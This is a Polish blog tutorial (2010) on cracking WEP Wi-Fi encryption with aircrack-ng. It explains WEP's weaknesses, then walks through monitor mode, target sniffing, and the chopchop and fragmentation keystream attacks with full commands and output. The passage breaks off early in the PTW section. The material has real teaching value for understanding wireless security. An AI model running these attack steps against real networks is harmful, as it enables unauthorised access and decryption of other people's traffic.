MindShifter - nFire.eu   MindShifter - nFire.eu
  [ Zaloguj | Rejestracja ]     Dzisiaj jest : Niedziela, 23 Wrzesień 2018 
Menu strony
 
Artykuły

Wszystkie artykuły » Linux » h4k1n9 » Atak na sieć Wi-Fi WEP

Atak na sieć Wi-Fi WEP

Autor: Dariusz Jaskuła (MindShifter) | Sobota, 04 Grudzień 2010 18:57


wi-fiWi-Fi (Wireless Fidelity) już od dawna stał się standardem w dziedzinie łączności bezprzewodowych (IEEE 802.11b ma już ponad 10 lat), jednak bezpieczeństwo tych sieci, szczególnie małych, domowych sieci WLAN (Wireless LAN) wciąż jest poważnym problemem.

Wynika to głównie z niewiedzy osób odpowiedzialnych za konfigurację tych sieci oraz przekonania, że sprzęt wyjęty z pudełka jest gotowy do pracy.

W artykule tym przedstawię jak sieć "zabezpieczona" protokołem szyfrowania WEP (Wired Equivalent Privacy) może być łatwo złamana w przeciągu paru minut. Do tego celu wykorzystam dystrybucję BackTrack 4 (R2).



Spis treści


Wprowadzenie do sieci bezprzewodowych
WEP
Uwierzytelnianie
Przygotowanie interfejsu i podstawy posługiwania się pakietem aircrack-ng
Atak chopchop
Atak fragmentacyjny
Atak PTW (Pychkine, Tews, Weinmann)
Atak na WEP bez klientów
Atak Caffe-Latte i atak Hirte (cfrag)
Wykrywanie ESSID (sieć ukryta)
Test szybkości i jakości połączenia

Wprowadzenie do sieci bezprzewodowych


Obecnie sieci bezprzewodowe (zgodne z Wi-Fi) budowane są głównie w 4 standardach:
  • 802.11a: 54 Mbit/s, 5 GHz, początkowo 12 kanałów (nie zachodzących na siebie), obecnie zakres rozszerzono do 24 kanałów.
  • 802.11b: 11 Mbit/s, 2.4 GHz, max 14 kanałów (zachodzących na siebie).
  • 802.11g: 54 Mbit/s, 2.4 GHz, jw.
  • 802.11n: 600 Mbit/s, 2.4/5 GHz, jw.
W powszechnym użytku znajdują się właściwie tylko 2 standardy: 802.11g/n (powszechnie występujące do niedawna sieci w standardzie 802.11b są zastępowane swym szybszym odpowiednikiem 802.11g).

Standard 802.11b korzysta z modulacji DSSS (Direct-sequence spread spectrum), 802.11.g z OFDM (Orthogonal frequency-division multiplexing) lub DSSS a 802.11n z OFDM.

Standard 802.11b/g/n przewiduje użycie 14 kanałów o szerokości 20 MHz (standard 802.11 zakłada, że szerokość kanału powinna wynosić 22 MHz jednak zazwyczaj stosuje się szerokość 20 MHz).

Każdy kanał rozpoczyna się 5 MHz za poprzednim (kanały na siebie nachodzą), poza ostatnim (14 - dozwolony jedynie w Japonii) który oddzielony jest od kanału 13 nie o 5 lecz o 12 MHz. W Polsce dozwolone są kanały 1-13 (w Ameryce Północnej 1-11). Częstotliwości poszczególnych kanałów przedstawiają się następująco:
  1. 2.412 GHz
  2. 2.417 GHz
  3. 2.422 GHz
  4. 2.427 GHz
  5. 2.432 GHz
  6. 2.437 GHz
  7. 2.442 GHz
  8. 2.447 GHz
  9. 2.452 GHz
  10. 2.457 GHz
  11. 2.462 GHz
  12. 2.467 GHz
  13. 2.472 GHz
  14. 2.484 GHz
Ze względu na swą szerokość, wszędzie gdzie jest to możliwe, zalecane jest używanie jedynie kanałów: 1, 6, 11 oraz 14 (nie dozwolony w Polsce). W takiej konfiguracji kanały nie będą na siebie zachodziły co znacznie wpłynie na "czystość" sieci (inną kombinacją może być 2, 7, 12 lub 3, 8, 13).
kanały 802.11

Jeśli szerokość kanału wynosi 20 MHz to z powodzeniem można stosować kanały 1, 5, 9 i 13 (w takiej konfiguracji nie będą się nakładać).

W standardzie 802.11n można korzystać z dwóch przyległych kanałów jednocześnie (channel bonding mode), wówczas zalecane jest korzystanie z zakresu częstotliwości 5 GHz, dla którego dozwolone są kanały (Europa): 36 (5.18 MHz), 40 (5.20 MHz), 44 (5.22 MHz), 48 (5.23 MHz), 52 (5.26 MHz), 56 (5.28 MHz), 60 (5.30 MHz), 64 (5.32 MHz), 100 (5.50 MHz), 104 (5.52 MHz), 108 (5.54 MHz), 112 (5.56 MHz), 116 (5.58 MHz), 120 (5.60 MHz), 124 (5.62 MHz), 128 (5.64 MHz), 132 (5.66 MHz) i 136 (5.68 MHz).

Sieci bezprzewodowe mogą pracować w trybie ad-hoc (peer-to-peer) lub w trybie infrastruktury. Nas interesują te drugie sieci, wykorzystujące centralne urządzenie zwane punktem dostępu (AP - Access Point), pełniące rolę bramy oraz przy okazji pośrednika w komunikacji między przyłączonymi do sieci urządzeniami (topologia gwiazdy).

W AP interesują nas dwa identyfikatory SSID (Service Set Identifier) pozwalające rozróżnić sieci bezprzewodowe: ESSID (Extended Service Set Identifier) oraz BSSID (Basic Service Set Identifier). ESSID to znakowy identyfikator, o którym potocznie mówi się "nazwa sieci". BSSID to adres MAC interfejsu bezprzewodowego AP.

Teraz, gdy mamy już minimalną wiedzę o funkcjonowaniu sieci Wi-Fi możemy przejść do szyfrowania danych.

WEP


WEP (Wired Equivalent Privacy) to standard szyfrowania danych przesyłanych w sieciach bezprzewodowych 802.11. Bazuje na algorytmie RC4 (ARCFOUR) z kluczem PSK (pre-shared key) o długości 40 (WEP-40) lub 104 bitów (WEP-104) (5 lub 13 znaków) połączonym z 24-bitowym wektorem inicjującym (IV - Initialisation Vector), stąd często mówi się o 64 lub 128 bitowym kluczu WEP (choć aby być do końca poprawnym należało by mówić o 64 lub 128 bitowym strumieniu klucza WEP).

Algorytm RC4 pełni tu rolę generatora liczb pseudolosowych (PRGA - Pseudo Random Generation Algorithm).

W rozwiązaniach firmowych można spotkać klucze o długości 232 bitów (+24 bity IV = 256 bitów), które ze względu na słabość IV nie podnoszą istotnie siły kryptograficznej.

Klucz PSK może być zapisany w formacie hex (szesnastkowym), np. "112233445566778899AABCDEFF" lub ASCII, np. "1moje2haslo34", najczęściej mamy do czynienia z kluczami zapisanym w kodzie ASCII (łatwiejsze do zapamiętania i wprowadzenia dla użytkowników).

Zaletą WEP jest szybkość działania, jego wadą właściwie zerowe bezpieczeństwo przesyłanych danych (słabość tego algorytmu została ujawniona już w roku 2001).

Schemat szyfrowania WEP przedstawia poniższy rysunek:
szyfrowanie WEP

IV po połączeniu z kluczem (sklejony z nim) jest przekazywany do algorytmu RC4, który tworzy z nich strumień klucza (streaming key, nazywany też PRGA). Długość strumienia klucza zależy od długości danych, które będą nim zaszyfrowane. IV wraz z PSK pełnią rolę ziaren - każdy IV jest podstawą do wygenerowania następnego IV.

Dla danych, które chcemy zaszyfrować obliczana jest suma kontrolna (algorytmem CRC-32 tworzącym 4 bajtową sumę kontrolną). Suma ta oznaczona jest jako ICV (Integrity Check Value). Dane wraz z ICV (sklejone) tworzą ładunek, który będziemy szyfrować za pomocą strumienia klucza za pomocą prostej instrukcji XOR (ładunek i strumień klucza mają taką samą długość), dając w wyniku zaszyfrowany ładunek użyty do przesłania w ramce. Do ramki dodawany jest także IV w postaci niezaszyfrowanej.

Dla przypomnienia XOR jest operacją odwracalną i naprzemienną, np. mając dwa bajty A (01010101) i B (00111100) otrzymamy z nich C (01101001). Między A, B i C istnieją następujące zależności:

A XOR B = B XOR A = C
C XOR A = A XOR C = B
C XOR B = B XOR C = A

A = 01010101
B = 00111100
XOR
C = 01101001

C = 01101001
A = 01010101
XOR
B = 00111100

C = 01101001
B = 00111100
XOR
A = 01010101
Jak widzimy mając dwie z trzech danych możemy z nich zawsze uzyskać trzecią wartość.

Szyfrowana jest tylko część pakietu zawierająca dane. Nagłówek ramki 802.11 pozostawiany jest w jawnym tekście. Ponadto ramki zarządzające i kontrolne nie są szyfrowane.

Każda porcja danych szyfrowana jest przy użyciu innego strumienia klucza (IV ciągle się zmienia), jednak WEP wcale nie wymusza stosowania innych IV do szyfrowania kolejnych porcji danych. W atakach na WEP po uzyskaniu PRGA (strumienia klucza) możemy cały czas wysyłać (wstrzykiwać) pakiety zaszyfrowane jednym i tym samy strumieniem klucza.

Sam IV wykazuje duże słabości (24 bity = 2^24 = 16.777.216 możliwych IV) - w praktyce okazuje się, że już kilka tysięcy pakietów pozwala osiągnąć 50% prawdopodobieństwo kolizji (wykorzystanie tego samego IV). Poza tym niektóre IV są "słabe" - pozwalają poznać klucz już przy 5% czasu potrzebnego na jego poznanie dla innych IV. Zbierając wystarczająco dużo danych można stwierdzić najbardziej prawdopodobny klucz.

Proces rozszyfrowywania przebiega bardzo prosto. Klient po otrzymaniu pakietu wyciąga z niego IV (przesłany w pakiecie jawnym tekstem). Jeśli klient zna poprawny klucz PSK to po sklejeniu IV z PSK jest w stanie rozszyfrować pakiet (XOR).

Uwierzytelnianie


Klient aby połączyć się z AP najpierw musi zostać uwierzytelniony (authenticated). Pakiety z danymi pochodzące od nieuwierzytelnionych klientów będą przez AP porzucane.

AP może pracować w trybie otwartym (open system) lub w trybie z kluczem współdzielonym (shared key), który w przypadku sieci z szyfrowaniem WEP jest taki sam jak klucz PSK.

Uwierzytelniania i szyfrowania nie należy ze sobą mylić. Są to dwa oddzielne mechanizmy.

Klient chcąc przyłączyć się do sieci z uwierzytelnianiem otwartym wysyła prośbę (w postaci niezaszyfrowanej) o uwierzytelnienie (authentication request), na którą AP odpowiada wysyłając odpowiedź (authentication replay) umożliwiając lub nie na dalszą komunikację (AP uwierzytelnia klienta).

Uwierzytelnianie z kluczem współdzielonym polega na wysłaniu przez klienta prośby o uwierzytelnienie. Na taką prośbę AP odpowiada wysyłając do klienta wyzwanie (challenge) - pewien ciąg bajtów. Klient szyfruje wyzwanie kluczem współdzielonym i odsyła do AP. AP rozszyfrowuje wyzwanie i sprawdza, czy dane otrzymane od klienta po rozszyfrowaniu zgadzają się z wysłanym wyzwaniem. Jeśli tak to oznacza to, że klient zaszyfrował wyzwanie prawidłowym kluczem i AP uwierzytelnia klienta zezwalając mu na dalszą komunikację.

W sieciach z szyfrowaniem WEP uwierzytelnianie z kluczem współdzielonym nie jest zalecane, gdyż klucz ten jest taki sam jak klucz do szyfrowania danych. W ten sposób można bardzo łatwo podsłuchać klucz PSK - wystarczy, podsłuchując uwierzytelniających się klientów, przechwycić wyzwanie od AP do klienta (jawny tekst) i następnie odpowiedź klienta do AP (zaszyfrowane wyzwanie), które z operacji XOR da nam klucz WEP.

Dopiero po uwierzytelnieniu może nastąpić przyłączenie klienta do AP (asocjacja). Proces ten ponownie inicjuje klient wysyłając pakiet (association request) zawierający, m.in. SSID, obsługiwane szybkości, itp. AP odpowiada pakietem (association response) z przydzielonym identyfikatorem przyłączenia.

Po przyłączeniu może nastąpić wymiana danych, wymagająca znajomości klucza PSK (do szyfrowania i odszyfrowania danych).

Przygotowanie interfejsu i podstawy posługiwania się pakietem aircrack-ng


Do ataków wykorzystamy pakiet aircrack-ng, w skład którego wchodzą m.in.: sniffer sieci bezprzwodowej (airodump-ng), narzędzie do wstrzykiwania pakietów do sieci bezprzewodowej (aireplay-ng), narzędzie do przygotowywania pakietów (packetforge-ng) oraz łamacz haseł (aircrack-ng).

Na początek należy podnieść interfejs bezprzewodowy (tu wlan0, w innych systemach interfejs może nazywać się inaczej, np. ath0, ra0, itp.):
# ifconfig wlan0 up
Teraz możemy odszukać interesujący AP:
$ iwlist wlan0 scan

wlan0     Scan completed :
          Cell 01 - Address: 00:01:E3:11:22:33
                    Channel:1
                    Frequency:2.412 GHz (Channel 1)
                    Quality=59/70  Signal level=-51 dBm
                    Encryption key:on
                    ESSID:"test"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s
                              11 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
                              48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=0000000007a6d18d
                    Extra: Last beacon: 973ms ago
                    IE: Unknown: 000474657374
                    IE: Unknown: 010C82848B8C12969824B048606C
                    IE: Unknown: 030101
                    IE: Unknown: 2A0100
                    IE: Unknown: 2F0100
                    IE: Unknown: DD06001018010000
Uzyskamy minimum danych potrzebnych do przeprowadzania ataku:
ESSID: test
BSSID: 00:01:E3:11:22:33
Kanał: 1 (2.412 GHz)

Innym sposobem uzyskania tych danych jest użycie sniffera, dającego nam znacznie więcej informacji.

Aby użyć sniffera musimy przełączyć kartę w tryb monitor (odpowiednik trybu promiscous dla kart przewodowych) pozwalającego na akceptowanie wszystkich pakietów docierających do karty a nie tylko tych przeznaczonej dla niej. Do samych ataków potrzebne będzie dodatkowo ustawienie odpowiedniego kanału.

Standardowo operacje te można wykonać poleceniami systemowymi:
# ifconfig wlan0 down
# iwconfig wlan0 mode monitor
# iwconfig wlan0 channel 1
# ifconfig wlan0 up
Jednak mając pakiet aircrack-ng możemy je sobie darować i użyć odpowiedniego polecenia z tego pakietu:

# airmon-ng start wlan0
lub gdy znamy już kanał (1):
# airmon-ng start wlan0 1

Interface	Chipset		Driver

wlan0		Broadcom	b43 - [phy0]
				(monitor mode enabled on mon0)
W moim wypadku polecenie airmon-ng utworzyło dodatkowy wirtualny interfejs (o nazwie mon0) i załączyło na nim tryb monitor oraz ustawiło go na podany przez nas kanał 1 (2.412 GHz). Będzie to interfejs wykorzystywany do sniffowania i wysyłania pakietów:
# iwconfig mon0
mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off
Chcąc wyłączyć tryb monitor możemy użyć poleceń:
# airmon-ng stop mon0
# airmon-ng stop wlan0
lub jeśli załączyliśmy tryb poleceniem systemowym:
# ifconfig wlan0 down
# iwconfig wlan0 mode managed
# ifconfig wlan0 up
Mając przygotowany interfejs możemy rozpocząć już sniffowanie na tym interfejsie, które w najprostszej postaci można wywołać tak:
# airodump-ng mon0
Poniższy rysunek przedstawia opis sniffera:

sniffer airodump-ng

Na górze sniffera widnieje lista wykrytych AP. Każda linia to inny AP. Kolejne pola oznaczają:
BSSID - adres MAC AP
PWR - moc odbieranego sygnału
Beacons - liczba przechwyconych pakietów kontrolnych
#Data - liczba przechwyconych danych
#/s - aktualna szybkość przechwytywania danych na sekundę
CH - kanał
MB - szybkość sieci
ENC - szyfrowanie (np. OPN, WEP, WPA, WPA2)
CIPHER - algorytm szyfrowania (protokół szyfrujący, np. WEP, TKIP, CCMP)
AUTH - uwierzytelnianie (np. OPN (lub brak), PSK)
ESSID - nazwa sieci.
Nas najbardziej interesować będą pola BSSID, CH oraz ESSID. Jeśli sieć jest ukryta w polu ESSID pojawi się nazwa typu "<length: x>" (o tym jak poznać nazwę ukrytej sieci będzie później).

Poniżej listy AP znajduje się lista wykrytych klientów. Każdy wpis klienta posiadać będzie dwa adresy MAC: BSSID wskazujący, z którym AP klient jest połączony (uwierzytelniony) oraz STATION wskazujący na adres MAC klienta. W polu Probes podana jest nazwa sieci, do której klient jest podłączony. Jeśli sieć, do której podłączony jest klient jest ukryta w polu Probes nie pojawi się nic dopókie sniffer nie pozna nazwy ukrytej sieci. Jeśli klient nie będzie połączony z żadnym AP w polu BSSID pojawi się "(not associated)".

W poleceniu airodump-ng przez przełącznik -c możemy ograniczyć się do interesującego nas kanału a dodatkowo przez --bssid do konkretnego AP na tym kanale (jeśli nie potrzebujemy zbierać danych z innych AP mogących działać na tym kanale). Podsłuchane dane możemy zrzucać do wybranego pliku przez przełącznik -w, np. aby na interfejsie mon0 podsłuchiwać jedynie AP o adresie MAC 00:01:E3:11:22:33 pracującym na pierwszym kanale a dane zbierać do pliku o nazwie przechwyt uruchamiamy sniffer poleceniem:
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w przechwyt mon0
Działanie sniffera kończymy standardowo kombinacją CTRL+C.

Po zebraniu odpowiedniej ilości pakietów możemy przystąpić do łamania klucza. Służy do tego program aircrack-ng, do którego właściwie nie musimy podawać dodatkowych parametrów.

Program aireplay-ng jest narzędziem do wstrzykiwania pakietów do sieci. Najważniejszym parametrem jest typ ataku, którym może być:
  • --deauth (lub -0) licznik: odłączenie stacji (deauth)
  • --fakeauth (lub -1) opóźnienie: fałszywe uwierzytelnienie (fakeauth)
  • --interactive (lub -2): interaktywna selekcja ramek
  • --arpreplay (lub -3): klasyczny atak powtarzania pakietów ARP requests
  • --chopchop (lub -4): atak chopchop
  • --fragment (lub -5): atak fragmentacyjny
  • --caffe-latte (lub -6): atak Caffe-Latte
  • --cfrag (lub -7): atak Hirte
  • --test (lub -9): test szybkości i jakości sygnału AP
Pozostałe parametry zależą od typu ataku i zostaną opisane przy konkretnych atakach.

Narzędzie packetforge-ng służy do kontstruowania pakietów. Głównym przełącznikiem jest typ pakietu:
  • --arp (lub -0): tworzy pakiet ARP
  • --udp (lub -1): tworzy pakiet UDP
  • --icmp (lub -2): tworzy pakiet ICMP
  • --null (lub -3): tworzy pakiet LLC
  • --custom (lub -4): tworzy niestandardowy pakiet
Jeśli mamy jakieś problemy z interfejsem bezprzewodowym warto wyłączyć i na nowo załączyć interfejs:
# airmon-ng stop mon0
# airmon-ng stop wlano
# ifconfig wlan0 down
# airmon-ng start wlan0 1

Atak chopchop


Koncepcja tego ataku została przedstawiona przez KoreK-a. Atak ten nie pozwala na odzyskanie hasła ale za to pozwala rozszyfrować podsłuchany pakiet bajt po bajcie i przy okazji odzyskać strumień klucza o długości zaszyfrowanych danych, który można następnie wykorzystać do wstrzykiwania pakietów szyfrując je tym strumieniem klucza.

Atak ten wykorzystuje słabość sumy kontrolnej ICV (liniowość CRC-32) oraz słabość samej operację szyfrowania (prostego XOR do łączenia ładunku ze strumieniem klucza).

Do ataku potrzebujemy przechwycenia pakietu. Z zaszyfrowanej części pakietu (zaszyfrowany ładunek) odcinamy (chop) ostatni bajt danych, tak jak na rysunku (zaszyfrowana część składa się z zaszyfrowanych danych i za nimi zaszyfrowanej wartości ICV zapisanej wspak - little-endian).

idea chopchop

Odcięcie bajtu (na rysunku odcinamy bajt D5) powoduje, że suma kontrolna (wcześniej I0-I3) takiego ciągu się zmieni. Zaszyfrowane ICV będzie więc teraz nieprawidłowe dla pomniejszonych danych.

Gdy założymy że odcięty bajt miał wartość X (bajt może przyjąć wartość X=0-255), to korzystając z podanego przez KoreK-a równania możemy wyliczyć nową zaszyfrowaną wartość ICV dla naszych skróconych danych (J0-J3). Nadal nie mamy pewności, czy ta nowa wartość ICV jest poprawna (nie wiemy, czy założony X jest prawidłową wartość) ale dalsze czynności zweryfikują jej poprawność.

Konstruujemy nowy pakiet z odciętym bajtem i wyliczoną nową zaszyfrowaną wartością ICV. Taki pakiet odsyłamy do AP.

Jeśli nasze założenie co do wartości odciętego bajtu jest trafne, to wyliczone ICV będzie poprawne, w związku z tym cały pakiet będzie poprawny. AP go zaakceptuje i wyśle odpowiedź do sieci, a ponieważ nadal prowadzimy nasłuch to przechwycimy tą odpowiedź.

Poznamy w ten sposób wartość bajtu jawnej wiadomości (będzie to odszyfrowany ostatni bajt). Ponieważ znamy też jego zaszyfrowaną wartość to z operacji XOR uzyskamy przy okazji jeden bajt strumienia klucza (na pozycji odgadywanego bajtu).

Jeśli odcięty bajt miał inną wartość niż założona przez nas to AP porzuci taki pakiet (rozszyfruje wiadomość i wyliczona przez niego wartość ICV nie będzie zgodna z tą przesłaną przez nas). Zakładamy wtedy, że bajt ten miał inną wartość i ponawiamy cały proces aż do odgadnięcia wartość bajtu (uzyskania odpowiedzi od AP).

Gdy zgadniemy wartość odciętego bajtu to przechodzimy do zgadywania kolejnego bajtu ale tym razem wykorzystujemy do tego nasz skrócony pakiet z prawidłową wartością ICV, itd. dla kolejnych odcinanych bajtów.

Odcinanie bajtów może okazać się problematyczne na niektórych AP, które porzucają pakiety o zbyt małej długości, przez co początkowe bajty zakodowanej wiadomości nie będą mogły być odgadnięte. Z pomocą przychodzi wówczas znajomość stosu TCP/IP i stwierdzenie, że początkowe wartości wiadomości będą prawdopodobnie zawierały nagłówek warstwy wyższej (właśnie dokładnie tak realizowany jest atak chopchop w programie aireplay-ng).

Ponieważ bajt może przyjąć 256 różnych wartości to prawdopodobieństwo odgadnięcia wartości bajtu wynosi 1/256. Cały proces wydaje się bardzo czasochłonny. Przy trafieniu odpowiedź uzyskujemy od razu lecz przy błędnym założeniu musimy odczekać pewien czas (timeout) zanim stwierdzimy, że AP nic nie odeśle i zgadywany bajt ma jednak inną wartość. Cały proces nabiera jednak szybkości, gdy wyślemy całą serię pakietów, każdy z inną zakładaną wartością odcinanego bajtu. W takim wypadku ze 100% pewnością bardzo szybko otrzymamy jedną odpowiedź. Aby jednak stwierdzić, który z wysłanych pakietów spowodował wygenerowanie odpowiedzi musimy w wysyłanym pakiecie umieścić jakiś znacznik identyfikujący go. Wartość znacznika ustawia się na zgadywaną wartość bajtu a sam znacznik umieszcza się w polu docelowego adresu MAC (4 i 5 bajt tego adresu).

Wysyłamy więc serię pakietów, umieszczając w każdym swój znacznik. W rezultacie w końcu przechwytujemy 1 pakiet. Sprawdzamy jaką wartość posiada pakiet w ustawionym przez nas polu (dst-MAC) i na tej podstawie jednoznacznie określamy, jaką wartość ma odcięty bajt.

Przejdźmy teraz do praktyki.

Do przeprowadzenia ataku potrzebujmy informacji o atakowanej sieci:
- nazwy sieci (ESSID)
- kanału, na którym pracuje AP
- adresu MAC AP (BSSID)
- adresu MAC klienta uwierzytelnionego w tej sieci (jak pokażę później sami możemy stać się takim klientem stosując fakeauth)

Ponieważ wiemy już jak uzyskać te informacje (airodump-ng mon0) przechodzimy do samego ataku. Przełączamy kartę w tryb monitor na kanale 1:
# airmon-ng start wlan0 1
Mając przygotowany interfejs przystępujemy do sniffowania atakowanego AP:
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 mon0
Celem sniffowania jest poznanie adresu MAC jakiegos klienta podlaczonego do AP.

Z interesującym nas AP 00:01:E3:11:22:33 skojarzony jest klient 00:23:45:11:22:33. Znając adres MAC klienta mozemy przerwac skanowanie (CTRL+C) i rozpoczac atak chopchop:
# aireplay-ng -4 -h 00:23:45:11:22:33 -b 00:01:E3:11:22:33 mon0
-4 to typ ataku (chopchop)
-h to adres MAC klienta (uwierzytelnionego w atakowanej sieci)
-b to BSSID (adres MAC AP)

Jeśli pominiemy -h zostanie przeprowadzony atak chopchop bez uwierzytelniania, który może nie powieść się na niektórych AP:
Failure: the access point does not properly discard frames with an
invalid ICV - try running aireplay-ng in authenticated mode (-h) instead.
Po chwili powinniśmy przechwycić pakiet nadający się do przeprowadzenia ataku. Zostaniemy zapytani czy go użyć:

atak chopchop 1

Odpowiadamy y (lub yes) i po parudziesięciu sekundach pakiet zostanie rozszyfrowany. Uzyskamy w ten sposób dwa pliki: replay_dec-*.cap zawierający rozszyfrowany przechwycony pakiet oraz replay_dec-*.xor zawierający strumień klucza dla rozszyfrowanego pakietu.

atak chopchop 2

atak chopchop 3

Rozszyfrowany pakiet możemy podejrzeć poleceniem tcpdump:
# tcpdump -n -vvv -e -s 0 -r replay_dec-1123-230728.cap
reading from file replay_dec-1123-230728.cap, link-type IEEE802_11 (802.11)
23:07:28.568076 44us BSSID:00:01:e3:11:22:33 SA:00:23:45:11:22:33 DA:00:01:e3:11:22:33 LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype IPv4 (0x0800): (tos 0x0, ttl 128, id 1804, offset 0, flags [DF], proto TCP (6), length 52) 192.168.2.105.1101 > 94.127.76.120.80: S, cksum 0xd4d1 (correct), 200022964:200022964(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,sackOK>
lub w trybie graficznym wiresharkiem:
# wireshark replay_dec-1123-230728.cap
wireshark

Uzyskany strumień klucza (replay_dec-*.xor) możemy zastosować do innego ataku (można nim szyfrować pakiety).

Atak fragmentacyjny


Atak ten, podobnie jak chopchop, pozwala uzyskać strumień klucza (PRGA), lecz ma nad nim przewagę - pozwala uzyskać do 1500 bajtów PRGA (chopchop pozwala uzyskać tyle bajtów PRGA ile miał crackowany pakiet).

Jest on możliwy, ze względu na budowę zaszyfrowanego pakietu ARP, w którym występują stałe pola. Ponieważ szyfrowanie odbywa się w warstwie łącza danych w podwarstwie MAC (Media Access Control) to nagłówek LLC (Logical Link Control) jest już zaszyfrowany. Nagłówek ten jest rozszerzany przez protokół SNAP (Subnetwork Access Protocol).
Model OSI

Nagłówek SNAP ma rozmiar 5 bajtów a nagłówek LCC 3 bajty, co w sumie daje 8 bajtów. Znajdujący się na początku nagłówek SNAP pozostaje niezmieniony tak jak i pierwszy bajt nagłówka LLC (w sumie 6 bajtów). Pozostałe dwa bajty odpowiadają za protokół wyższej warstwy i mają różne wartości, w zależności od tego czy jest to pakiet ARP czy też inny, przy czym pakiety ARP mają wartość 0x0806. Aby zgadnąć czy mamy do czynienia z pakietem ARP wystarczy sprawdzić długość pakietu (żądania ARP wysyłane w sieciach 802.11 mają długość 68 bajtów).

Wiedząc, że mamy do czynienia z pakietem ARP poznajemy kolejne dwa bajty strumienia klucza (teraz już 8 bajtów - cały nagłówek SNAP i LLC, wiemy jak wygląda taki nagłówek w postaci jawnej i mamy przechwyconą jego zaszyfrowaną postać więc z operacji XOR uzyskamy teraz 8 bajtów PRGA).

Dzięki fragmentacji, pakiet możemy podzielić maksymalnie na 16 części. Każda z takich części jest przez nas oddzielnie szyfrowana przy użyciu tego samego strumienia klucza i po sklejeniu stanowi jedną całość (zaszyfrowaną przy użyciu jednego IV).

Znając więc 8 bajtów strumienia klucza tworzymy pakiet ARP, którego pole danych dzielimy na 4 bajtowe części (do których dojdą 4 bajty CRC = 8 bajtów zaszyfrowanych danych), ustawiając odpowiednie pole w nagłówku mówiące o tym, iż jest to fragment pakietu. Szyfrujemy każdy z fragmentów znanym nam 8 bajtowym strumieniem klucza i odsyłamy do AP.

AP po odebraniu i sklejeniu naszych pakietów prześle taki pakiet ARP w całości zaszyfrowany nowym IV. Podsłuchując ten pakiet poznamy zaszyfrowaną wersję pakietu, który wiemy jak wygląda w jawnej postaci (XOR da nam strumień klucza). Znając już dłuższy strumień klucza możemy ponownie użyć fragmentacji na innym dłuższym pakiecie, dzieląc go na dłuższe fragmenty i uzyskując w ten sposób coraz to dłuższe strumienie klucza aż do maksymalnych 1500 bajtów.

Atak ten wymaga wysłania i odebrania dużej ilości pakietów i nie powiedzie się jeśli któryś z nich zostanie zagubiony, dlatego przez cały czas prowadzenia ataku musimy posiadać dobrą jakość połączenia z AP.

Rozpoczynamy standardowo od ustawienia interfejsu:
# airmon start wlan0 1
Rozpoczynamy atak fragmentacyjny:
# aireplay-ng -5 -b 00:01:E3:11:22:33 -h 00:23:45:11:22:33 mon0
-5 to atak fragmentacyjny
-b to adres MAC AP
-h to adres MAC klienta (uwierzytelnionego w atakowanej sieci)

W efekcie zobaczymy:
09:32:47  Waiting for beacon frame (BSSID: 00:01:E3:11:22:33) on channel 1
09:32:47  Waiting for a data packet...


        Size: 68, FromDS: 1, ToDS: 0 (WEP)

              BSSID  =  00:01:E3:11:22:33
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:01:E3:11:22:32

        0x0000:  0862 0000 ffff ffff ffff 0001 e346 6345  .b...........FcE
        0x0010:  0001 e346 6344 10ba 0034 0600 0f65 8d08  ...FcD...4...e..
        0x0020:  4d67 7e1d f91f 3788 d5cf 913e cea9 f6aa  Mg~...7....>....
        0x0030:  7cc4 b26f a0e4 6cec 6a21 50c7 6b39 cb86  |..o..l.j!P.k9..
        0x0040:  7db0 269b                                }.&.

Use this packet ? y

Saving chosen packet in replay_src-1125-093247.cap
09:33:08  Data packet found!
09:33:08  Sending fragmented packet
09:33:08  Got RELAYED packet!!
09:33:08  Trying to get 384 bytes of a keystream
09:33:08  Got RELAYED packet!!
09:33:08  Trying to get 1500 bytes of a keystream
09:33:08  Got RELAYED packet!!
Saving keystream in fragment-1125-093308.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Jak widzimy udało nam się uzyskać całe 1500 bajtów strumienia klucza. Za jego pomocą możemy szyfrować dowolne pakiety i wstrzykiwać do atakowanej sieci.

Atak PTW (Pychkine, Tews, Weinmann)


Od czasu, gdy w 2001 roku Scott Fluhrer, Itsik Mantin i Adi Shamir zaprezentowali atak FMS dużo się zmieniło.

Liczba wymaganych IV potrzebnych do złamania klucza WEP zależy od jego długości. W starej metodzie zwykle 40-bitowy WEP (64 bitowy strumień klucza) może być złamany z 300.000 IV, a 104-bitowy WEP (128-bitowy strumień klucza) wymaga 1.500.000 IV.

W 2007 roku trzem naukowcom (Andrei Pychkine, Erik Tews i Ralf-Philipp Weinmann, stąd nazwa ataku PTW) udało się opracować metodę redukującą tą liczbę.

W metodzie PTW liczba ta wynosi odpowiednio dla 40-bitowego WEP ok. 20.000 pakietów, a dla 104-bitowego WEP ok. 40.000 pakietów. Przy takiej ilości IV istnieje 50% prawdopodobieństwo odgadnięcia klucza. Niekiedy jednak zdarzają się sytuacje wymagające przechwycenia ponad 100.000 pakietów.

Główną zaletą PTW jest niewielka ilość danych potrzebna do złamania WEP (zebranie 100.000 pakietów w ruchliwej sieci to kwestia paru minut). PTW ograniczony jest do WEP 64 i 128.

Przechodzimy do ataku.

Jeśli interfejs nie jest przygotowany to ustawiamy go w odpowiedni tryb i kanał:
# airmon-ng start wlan0 1
Zaczynamy od przechwycenia odpowiedniej ilości pakietów. Tym razem pakiety będziemy zapisywać do pliku (-w):
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w pakiety mon0
Do ataku potrzebujemy samych wektorów inicjujących, jeśli więc zależy nam na przestrzeni dyskowej możemy zbierać jedynie same IV (--ivs) zamiast całych pakietów:
# airodump-ng -c 1 --ivs --bssid 00:01:E3:11:22:33 -w pakiety mon0
Powstanie wówczas plik pakiety-01.ivs zamiast pakiety-01.cap.

